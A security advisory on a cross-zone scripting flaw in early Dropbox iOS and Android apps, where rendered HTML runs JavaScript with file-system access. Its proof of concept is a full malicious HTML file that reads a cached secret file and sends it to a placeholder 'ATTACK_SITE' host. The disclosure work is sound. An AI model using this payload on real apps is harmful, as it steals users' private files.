<--

Dropbox for iOS & Android Cross-Zone Scripting

Aleph Research Advisory

Identifier

Severity

Moderate

Products

  1. Dropbox App for iOS

  2. Dropbox App for Android

Vulnerable Versions

  1. 1.4.6 (iOS)

  2. 2.0.1 (Android)

Technical Details

A significant feature of the Dropbox apps is allowing a user to view either his files or files shared with him. The Dropbox apps achieve this by using an embedded browser (e.g by using the UIWebView class in iOS) to display the contents of these files. Amongst numerous file types, the Dropbox apps allow the user to view HTML files in a rendered format. To do this, the Dropbox apps use an embedded browser window to render the locally stored HTML file. The method with which the DropBox apps render an HTML file has two side effects:

  1. JavaScript code contained in the HTML file is automatically executed.
  2. The HTML content is loaded in a privileged “file” zone, as opposed to an unprivileged HTTP location. Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed “Cross-Application Scripting” (XAS). However, because the Dropbox apps load the HTML file from a privileged zone this malicious JavaScript can also access the file system with the same permissions as the Dropbox apps.

Proof-of-Concept

The following is a PoC illustrates a malicious HTML file that steals a secret file from the user’s Dropbox account (iOS Version):

<html>
<head>
    <title>Malicious HTML File!</title>
</head>
<body>
    <script>
        function readDropBoxFileiOS(fileName) {
            // Create a new XHR Object
            x = new XMLHttpRequest();
            // When file content is available, send it back
            x.onreadystatechange = function () {
                if (x.readyState == 4) {
                    x2 = new XMLHttpRequest();
                    x2.onreadystatechange = function () {};
                    // x.responseText contains the content of fileName
                    // which we’ll send back to ATTACK_SITE
                    x2.open("GET", "http://ATTACK_SITE/?file_content=" +
                    encodeURI(x.responseText));
                    x2.send();
                }
            }
            // Try to read the content of the specified file
            x.open("GET", fileName);
            x.send();
        };
        // Reads the a secret file from the user’s local cache
        readDropBoxFileiOS("file:///var/mobile/Applications/APP_UUID/
                            Library/Caches/Dropbox/Secrets/secret.txt");
    </script>
    <h1>This malicious file will now leak a secret file!</h1>
    </body>
</html>

Timeline

Credit

  • Roi Saltzman

External References